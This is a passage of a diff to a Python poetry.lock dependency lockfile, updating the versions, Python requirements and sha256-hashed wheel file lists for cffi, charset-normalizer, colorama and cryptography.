"sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, + {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, + {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, + {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, + {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, + {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, + {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, + {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, + {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, + {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, + {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, + {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, + {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, + {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, + {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, + {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, + {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, ] [package.dependencies] @@ -519,18 +565,88 @@ event-file-poller = ["watchdog (==0.9.0)"] [[package]] name = "charset-normalizer" -version = "2.0.4" +version = "3.2.0" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false -python-versions = ">=3.5.0" -files = [ - {file = "charset-normalizer-2.0.4.tar.gz", hash = "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3"}, - {file = "charset_normalizer-2.0.4-py3-none-any.whl", hash = "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b"}, +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"}, + {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"}, ] -[package.extras] -unicode-backport = ["unicodedata2"] - [[package]] name = "click" version = "7.1.2" @@ -544,59 +660,69 @@ files = [ [[package]] name = "colorama" -version = "0.4.3" +version = "0.4.4" description = "Cross-platform colored terminal text." optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "colorama-0.4.3-py2.py3-none-any.whl", hash = "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff"}, - {file = "colorama-0.4.3.tar.gz", hash = "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1"}, + {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"}, + {file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"}, ] [[package]] name = "cryptography" -version = "3.4.7" +version = "41.0.4" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "cryptography-3.4.7-cp36-abi3-macosx_10_10_x86_64.whl", hash = "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1"}, - {file = "cryptography-3.4.7-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250"}, - {file = "cryptography-3.4.7-cp36-abi3-manylinux2010_x86_64.whl", hash = "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2"}, - {file = "cryptography-3.4.7-cp36-abi3-manylinux2014_aarch64.whl", hash = "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6"}, - {file = "cryptography-3.4.7-cp36-abi3-manylinux2014_x86_64.whl", hash = "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959"}, - {file = "cryptography-3.4.7-cp36-abi3-win32.whl", hash = "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d"}, - {file = "cryptography-3.4.7-cp36-abi3-win_amd64.whl", hash = "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca"}, - {file = "cryptography-3.4.7-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873"}, - {file = "cryptography-3.4.7-pp36-pypy36_pp73-manylinux2014_x86_64.whl", hash = "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b01fd6f2737816cb1e08ed4807ae194404790eac7ad030b34f2ce72b332f5586"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-manylinux2014_x86_64.whl", hash = "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9"}, - {file = "cryptography-3.4.7-pp37-pypy37_pp73-win_amd64.whl", hash = 